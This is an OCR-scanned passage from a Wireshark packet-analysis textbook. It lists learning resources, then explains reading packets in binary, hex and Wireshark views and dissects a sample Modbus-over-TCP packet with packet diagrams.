command line packet-crafting, -editing, and -transmission tool. It supports 
a variety of protocols and is very quick and intuitive to use. You can down- 
load hping from hitp://www.hping.org/. 


Python 


Python isn’t a tool but rather a scripting language that is well worth men- 
tioning. As you become proficient in packet analysis, yow ll encounter 
cases in which no automated tool exists to meet your needs. In those cases, 
Python is the language of choice for making tools that can do interesting 
things with packets. You'll also need to know a little Python to interact with 
the Scapy library. My favorite online resource for learning Python is the 
popular Learn Python the Hard Way series, which can be found here: hitps:// 
www.learnpythonthehardway.org/. 


Packet Analysis Resources 


From Wireshark’s home page to courses and blogs, many resources for 
packet analysis are available. I'll list a few of my favorites here. 
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Wireshark’s Home Page 


The foremost resource for everything related to Wireshark is its home page, 
hitp://www.wireshark.org/. It has links to software documentation, a very help- 
ful wiki that contains sample capture files, and sign-up information for the 
Wireshark mailing list. You can also browse to hitps://ask.wireshark.org/ to 
ask questions about things youre seeing in Wireshark or specific features. 
This community is active and very helpful. 


Practical Packet Analysis Online Course 


If you like this book, you might also like the online training course that 
complements it. In the Practical Packet Analysis course, you'll be able to fol- 
low along with videos as I go through all the captures in this book and several 
others. I also provide capture labs where you can test your skills and a discus- 
sion forum where you can learn from other students as you progress. This 
course launches in mid-2017. You can learn more about my training offerings 
at hitp://www.chrissanders.org/training/ and sign up for my mailing list to get 
notified about training opportunities here: http://www.chrissanders.org/list/. 


SANS’s Security Intrusion Detection In-Depth Course 


SANS SEC503: Intrusion Detection In-Depth focuses on the security aspects 
of packet analysis. Even if you aren’t focused on security, the first two days of 
the course provide a fantastic introduction to packet analysis and tcpdump. It 
is offered at live events several times a year at locations around the world. 

You can read more about SEC503 and other SANS Institute courses at 
hitp://www.sans.org/. 


Chris Sanders’s Blog 


I occasionally write articles related to packet analysis and post them on my 
blog at http://www.chrissanders.org/. My blog also serves as a portal that links 
to other articles and books I have written and provides my contact infor- 
mation. You'll also find links to packet captures included in this book and 
others. 


Brad Duncan’s Malware Traffic Analysis 


My favorite resource for security-related packet captures is Brad Duncan’s 
Malware Traffic Analysis (MTA) site. Brad posts packet captures containing 
real infection chains multiple times per week. These captures are complete 
with the associated malware binaries and a description of what is happen- 
ing. If you want to gain experience dissecting malware infections and learn 
about current malware techniques, start by downloading some of these cap- 
tures and trying to make sense of them. You can visit MTA at hitp://www 
-malware-traffic-analysis.net/ or follow Brad on Twitter at @malware_traffic to 
be alerted when he posts updates. 


IANA’s Website 


The Internet Assigned Numbers Authority (IANA), available at hitp:// 
www.iana.org/, oversees the allocation of IP addresses and protocol num- 
ber assignments for North America. Its website offers some valuable refer- 
ence tools, such as the ability to look up port numbers, view information 
related to top-level domain names, and browse companion sites to find 
and view RFCs. 


W. Richard Stevens’s TCP/IP Illustrated Series 


Considered the TCP/IP bible by most, W. Richard Stevens’s TCP/IP 
Illustrated series (Addison-Wesley, 1994-1996) is a staple on the book- 
shelves of most who live at the packet level. These are my favorite TCP/IP 
books, and I consulted these volumes quite a bit while writing this book. 
A second edition of Volume 1, coauthored with Dr. Keven R. Fall, was pub- 
lished in 2012. 


The TCP/IP Guide 


The TCP/IP Guide by Charles Kozierok (No Starch Press, 2005) is another 
reference resource for TCP/IP protocol information. Weighing in at over 
1,600 pages, it’s very detailed and contains many great diagrams for the 
visual learner. 
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NAVIGATING PACKETS 


In this appendix, we’ll examine ways that 

packets can be represented. We’ll look at 
fully interpreted and hexadecimal repre- 
sentations of packets, as well as how to read 





and reference packet values using a packet diagram. 


Because you'll find a wealth of software that can interpret packet data 
for you, you could perform packet sniffing and analysis without understand- 
ing the information contained in this appendix. But, if you take the time to 
learn about packet data and how it’s structured, you'll be in a much better 
position to understand what tools like Wireshark are showing you. The less 
abstraction between you and the data you're analyzing, the better. 
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Appendix B 


There are many ways a packet can be represented for interpretation. Raw 
packet data can be represented as binary, a combination of ls and 0s in 
base 2, like this: 





0110000001010011010111000000101011000001000000000001000000000000001000110000010 
110101011011100000000000000000000000000000000000000000010000001000000000001011 
0110100000000000001000000110000000000000000000000010000000100000000010000000010 





Binary numbers represent digital information at the lowest level pos- 
sible, with a 1 representing the presence of an electrical signal and a 0 
representing the absence of a signal. Each digit is a bit, and eight bits is a 
byte. However, binary data is difficult for humans to read and interpret, 
so we usually convert binary data to hexadecimal, a combination of letters 
and numbers in base 16. The same packet in hexadecimal looks like this: 





4500 0034 40f2 4000 8006 535c ac10 1080 
4a7d 5f68 0646 0050 7c23 5ab7 0000 0000 
8002 2000 0b30 0000 0204 05b4 0103 0302 
0101 0402 





Hexadecimal (also referred to as hex) is a numbering system that uses 
the numbers 0 through 9 and letters A through F to represent values. It 
is one of the most common ways that packets are represented because it’s 
concise and can easily be converted to the even more fundamental binary 
interpretation. In hex, two characters represent a byte, which contains eight 
bits. Each character within a byte is a nibble (4 bits), with the leftmost value 
being the higher-order nibble and the rightmost value being the lower-order 
nibble. Using the example packet, this means that the first byte is 45, the 
higher-order nibble is 4, and the lower-order nibble is 5. 

The position of bytes within a packet is represented using offset nota- 
tion, starting from zero. Therefore, the first byte in the packet (45) is at 
position 0x00, the second byte (00) is at 0x01, and the third byte (00) is 
at 0x02, and so on. The Ox part is saying that hex notation is being used. 
When referencing a position spanning more than one byte, the number 
of additional bytes is indicated numerically after a colon. For example, to 
reference the position of the first four bytes in the example packet (4500 
0034), you would use 0x00:4. This explanation will be important when we 
use packet diagrams to dissect unknown protocols in “Navigating a Mystery 
Packet” on page 330. 


The most common mistake I see people make when trying to dissect packets is forget- 
ting to start counting from zero. This is very hard to get used to, since most people are 
taught to start counting from one. I’ve been slicing and dicing packets for years, and 
I still make this mistake. The best advice I can give here is don’t be afraid to count 
on your fingers. You might feel like it looks dumb, but there’s absolutely no shame in 
at, especially if it helps you arrive at the correct answer. 


Ata much higher level, a tool like Wireshark can represent a packet in 
a fully interpreted manner by using a protocol dissector, which we’ll discuss 
next. The same packet we just looked at is shown in Figure B-1, fully inter- 
preted by Wireshark. 





Dae 


a 





Mf 1 0.000000 172.16.16.128 74.125.95.104 TCP 66 1606—80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1 {fe |e lis) 
Œ Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 

Ethernet II, Src: IntelCcor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Linmk_21:99:4c (00:05:5d:21:99:4c) 

Internet Protocol version 4, Src: 172.16.16.128 (172.16.16.128), Dst: 74.125.95.104 (74.125.95.104) 

Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 80 (80), Seq: 0, Len: 0 


Source Port: 1606 (1606) 
Destination Port: 80 (80) 


[Stream index: 0] 


[TCP Segment Len: 0] 


Sequence number: 0 


(relative sequence number) 


Acknowledgment number: 0 
Header Length: 32 bytes 
«+++ 0000 0000 0010 = Flags: 0x002 (SYN) 


window size value: 


8192 


[calculated window size: 8192] 


5d 21 
40 f2 
06 46 
Ob 30 


99 4c 00 21 6a 5b 7d 4a 08 00 45 00 
40 00 80 06 53 5c ac 10 10 80 4a 7 
QWE 7c 23 5a b7 00 00 00 00 80 02 
00 00 02 04 05 b4 01 03 03 02 01 01 


Œ Checksum: 0x0b30 [validation disabled] 
Urgent pointer: 0 
Œ Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted 








Figure B-1: A packet interpreted by Wireshark 


Wireshark shows the information in a packet with labels that describe 
it. Packets don’t contain labels, but their data does map to a precise format 
specified by the protocol standard. Fully interpreting a packet means read- 
ing the data based on the protocol standard and dissecting it into labeled, 
human-friendly text. 

Wireshark and similar tools are able to fully interpret packet data 
because they have protocol dissectors built into them that define the position, 
length, and values of each field within a protocol. For example, the packet 
in Figure B-1 is broken into sections based on the Transmission Control 
Protocol (TCP). Within TCP, there are labeled fields and values. Source Port 
is one label, and 1606 is its decimal value. This makes it easy to find the infor- 
mation you're looking for when performing analysis. Whenever this option is 
available to you, it’s usually the most efficient way to get the job done. 

Wireshark has thousands of dissectors, but you might encounter pro- 
tocols that Wireshark doesn’t know how to interpret. This is often the case 
with vendor-specific protocols that aren’t widely used and custom malware 
protocols. When this happens, you'll be left with only partially interpreted 
packets. This is why Wireshark provides the raw hexadecimal packet data at 
the bottom of the screen by default (see Figure B-1). 

More commonly, command line programs like tcpdump that show raw 
hex don’t have nearly as many dissectors. This is especially true for more 
complex application-layer protocols, which are trickier to parse. Thus, 
encountering partially interpreted packets is the norm when using this 
tool. An example of using tcpdump is shown in Figure B-2. 

When you are working with partially interpreted packets, you’ ll have 
to rely on knowledge of packet structure at a more fundamental level. 
Wireshark, tcpdump, and most other tools enable this by showing the raw 
packet data in hex format. 
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| e 1. bash 








bash bash 
04:45:53.927963 IP 192.168.110.131.2074 > 192.168.110.138.502: Flags [P.], seq 1104341702:1104341714, ack 37762 
64910, win 64710, length 12 
@x@@ee: 4500 0034 Sbfd 4000 8006 1068 cƏas 6e83 


@0x0010: c@a8 Ge8a 081a O1f6 41d2 eac6 e115 3ace 
0x0020: 5018 fcc6 0032 0000 00d1 000G 000G 0103 
0x0030: 0001 0001 





Figure B-2: Partially interpreted packets from tcpdump 


Using Packet Diagrams 


As we learned in Chapter 1, a packet represents data that is formatted based 
on the rules of protocols. Because common protocols format packet data in 
a specific manner so that hardware and software can interpret this data, the 
packets must follow explicit formatting rules. We can identify this formatting 
and use it to interpret packet data by using packet diagrams. A packet diagram 
is a graphical representation of a packet that allows an analyst to map bytes 
within a packet to fields used by any given protocol. Derived from the proto- 
col’s RFC specification document, it shows the fields present within the proto- 
col, their length, and their order. 

Let’s take another look at the example packet diagram for IPv4 we saw 
in Chapter 7 (provided here for your convenience as Figure B-3). 


Internet Protocol Version 4 (IPv4) 


oreo od 


12 
16 128 

20 

pees [ieee SCS 


Figure B-3: A packet diagram for IPv4 
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| 96 | Source IP Address 
| 128 | Destination IP Address 
E c E E 





In this diagram, the horizontal axis represents individual binary bits 
that are numbered from 0 to 31. The bits are grouped into 8-bit bytes that 
are numbered from 0 to 3. The vertical axis also is labeled according to 
bits and bytes, and each row is divided into 32-bit (or 4-byte) sections. We 
use the axes to count field positions using offset notation by first reading 
from the vertical axis to determine which 4-byte section the field resides 
in, and then counting off each byte in the section using the horizontal axis. 
The first row consists of the first four bytes, 0 through 3, which are labeled 
accordingly on the horizontal axis. The second row consists of the next four 


bytes, 4 through 7, which can also be counted off using the horizontal axis. 
Here we start with byte 4, which is byte 0 on the horizontal axis, then byte 5, 
which corresponds to byte 1 on the horizontal axis, and so on. 

For example, we can determine that for IPv4, byte 0x01 is the Type of 
Service field, since we start at offset 0 and then count to byte 1. On the ver- 
tical axis, the first four bytes are in the first row, so we would then use the 
horizontal axis and start counting from 0 to byte 1. As another example, 
byte 0x08 is the Time to Live field. Using the vertical axis, we determine 
that byte 8 is in the third row down, which contains bytes 8 through 11. We 
then use the horizontal axis to count to byte 8 starting from 0. Since byte 8 
is the first in the section, the horizontal axis column is just 0, which is the 
Time to Live field. 

Some fields, such as the Source IP field, span multiple bytes, as we 
see in 0x12:4. Other fields are divided into nibbles. An example is 0x00, 
which contains the Version field in the higher-order nibble and the IP 
Header Length in the lower-order nibble. Byte 0x06 contains even more 
granularity, with individual bits used to represent specific fields. When 
a field is a single binary value, it is often referred to as a flag. Examples 
are the Reserved, Don’t Fragment, and More Fragments fields in the IPv4 
header. A flag can only have a binary value of 1 (true) or 0 (false), so the 
flag is “set” when the value is 1. The exact implication of a flag setting will 
vary based on protocol and field. 

Let’s look at another example in Figure B-4 (you may recognize this 
diagram from Chapter 8). 
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Figure B-4: A packet diagram for the TCP 


This image shows the TCP header. Looking at this image, we can answer 
a lot of questions about a TCP packet without knowing exactly what TCP 
does. Consider an example TCP packet header represented in hex here: 





0646 0050 7c23 5ab7 0000 0000 8002 2000 
0b30 0000 0204 05b4 0103 0302 0101 0402 
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Using the packet diagram, we can locate and interpret specific fields. 
For example, we can determine the following: 


e The Source Port number is at 0x00:2 and has a hex value of 0646 
(Decimal: 1606). 


e The Destination Port number is at 0x02:2 and has a hex value of 0050 
(Decimal: 80). 


e The header length is in the Data Offset field at the higher-order nibble 
of 0x12 and has a hex value of 8. 


Let’s apply this knowledge by dissecting a mystery packet. 


Navigating a Mystery Packet 


Appendix B 


In Figure B-2, I showed you a packet that was only partially interpreted. You 
can ascertain through the interpreted portion of the data that this is a TCP/ 
IP packet transmitted between two devices on the same network, but other 
than that, you don’t know much about the data being transmitted. Here’s the 
complete hex output of the packet: 





4500 0034 8bfd 4000 8006 1068 cOa8 6e83 
cOa8 6e8a 081a 01f6 41d2 eac6 e115 3ace 
5018 fcc6 0032 0000 00d1 0000 0006 0103 
0001 0001 





A quick count finds that there are 52 bytes in this packet. The packet 
diagram for IP tells us that the normal size of the IP header is 20 bytes, which 
is confirmed by looking at the header size value in the lower-order nibble 
of 0x00. The diagram for the TCP header tells us that it is also 20 bytes if 
no additional options are present (there aren’t here, but we discuss TCP 
options in more depth in Chapter 8). This means that the first 40 bytes of 
this output are related to the TCP and IP data that has already been inter- 
preted. This leaves the remaining 12 bytes uninterpreted. 


00d1 0000 0006 0103 0001 0001 





Without knowledge of how to navigate packets, this might leave you 
stumped, but you now know how to apply a packet diagram to the uninter- 
preted bytes. In this case, the interpreted TCP data tells us that the desti- 
nation port for this data is 502. Reviewing the ports used by traffic isn’t a 
foolproof method for identifying uninterpreted bytes, but it’s a good place 
to start. A quick Google search reveals that port 502 is most commonly used 
for Modbus over TCP, which is a protocol used in Industrial Control System 
(ICS) networks. We can validate this is the case and navigate this packet 
by comparing the hex output to the packet diagram for Modbus, shown in 
Figure B-5. 
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Figure B-5: Packet diagram for Modbus over TCP 


This packet diagram was created based on the information in 
the Modbus implementation guide: http://www.modbus.org/docs/Modbus_ 
Messaging_Implementation_Guide_V1_0b.pdf: This tells us that there should 
be a 7-byte header that includes the Length field at 0x04:2 (relative to the 
start of the header). Counting to that position, we arrive at a hex value of 
0006 (or a decimal value of 6), indicating there should be 6 bytes following 
that field, which is exactly the case. It appears that this is indeed Modbus 
over TCP data. 

By comparing the packet diagram to the entirety of the hex output, the 
following information is derived: 


e The Transaction Identifier is at 0x00:2 and has a hex value of 00d1. 
This field is used to pair a request with a response. 


e The Protocol Identifier is at 0x02:2 and has a hex value of 0000. This 
identifies the protocol as Modbus. 


e The Length is at 0x04:2 and has a hex value of 0006. This defines the 
length of the packet data. 


e The Unit Identifier is at 0x06 and has a hex value of 01. This is used for 
intrasystem routing. 


e The Function Code is at 0x07 and has a hex value of 03. This is the Read 
Holding Registers function, which reads a data value from a system. 


e Based on the function code value of 3, two more data fields are expected. 
The Reference Number and Word Count are found at 0x08:4, and each 
has a hex value of 0001. 


The mystery packet can now be fully explained in the context of the 
Modbus protocol. If you were troubleshooting the system responsible for this 
packet, this information should be all you need to proceed onward. Even if 
you never encounter Modbus, this is an example of how you can approach an 
unknown protocol and uninterpreted packet using a packet diagram. 

It’s always best practice to be aware of the abstraction between your- 
self and the data being analyzed. This helps you make sounder and more 
knowledgeable decisions and allows you to work with packets in a variety 
of situations. ’ve found myself in many scenarios in which I’ve only been 
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able to use command line—based tools such as tcpdump to analyze packets. 
Because most of these tools lack dissection for many layer 7 protocols, the 
ability to manually dissect specific bytes in these packets has been crucial. 


A colleague once had to help perform incident response in a highly secure environment. 
He was cleared to review the data he needed to look at, but not to access the specific 
system the data was stored on. The only thing they could do in the amount of time they 
had was print out the packets from specific conversations. Thanks to his fundamental 
knowledge of how packets are built and of how to navigate them, he was able to find the 
information he needed in the printed data. Of course, the process was slower than cold 
molasses running down a frozen branch. This is an extreme scenario, but it’s a prime 
example of why universal tool-agnostic knowledge is important. 


For all of these reasons, it’s helpful to spend time breaking apart packets 
in order to gain experience viewing multiple interpretations. I do this 
enough that I’ve printed out several common packet diagrams, had them 
laminated, and keep them beside my desk. I also maintain a digital ver- 
sion on my laptop and tablet for quick reference when traveling. For con- 
venience, I’ve included several common packet diagrams in the ZIP file 
containing the packet captures that goes along with this book (Attps:// 
www.nostarch.com/packetanalysis3/) . 


Final Thoughts 


Appendix B 


In this appendix, we learned how to interpret packet data in a variety of 
formats and how to use packet diagrams to navigate uninterpreted packet 
data. Given this fundamental knowledge, you should have no trouble under- 
standing how to dissect packets regardless of the tool you are using to view 
packet data. 
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DON T JUST STARE 


AT CAPTURED 
PACKETS. 
ANALYZE THEM. 


It’s easy to capture packets with Wireshark, the world’s 
most popular network sniffer, whether off the wire or 
from the air. But how do you use those packets to 
understand what's happening on your network? 


Updated to cover Wireshark 2.x, the third edition 
of Practical Packet Analysis will teach you to make 
sense of your packet captures so that you can better 
troubleshoot network problems. You'll find added 
coverage of IPvó and SMTP, a new chapter on the 
powerful command line packet analyzers tcpdump 
and TShark, and an appendix on how to read and 
reference packet values using a packet map. 


Practical Packet Analysis will show you how to: 


e Monitor your network in real time and tap live 
network communications 


e Build customized capture and display filters 


e Use packet analysis to troubleshoot and resolve 
common network problems, like loss of connectivity, 
DNS issues, and slow speeds 


e Explore modern exploits and malware at the packet 
level 


COVERS WIRESHARK 2.X 
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Download the capture files 
used in this book from 


nostarch.com/packetanalysis3/ 


Extract files sent across a network from packet 
captures 


e Graph traffic patterns to visualize the data flowing 
across your network 


e Use advanced Wireshark features to understand 
confusing captures 


e Build statistics and reports to help you better explain 
technical network information to non-techies 


No matter what your level of experience is, Practical 
Packet Analysis will show you how to use Wireshark to 
make sense of any network and get things done. 
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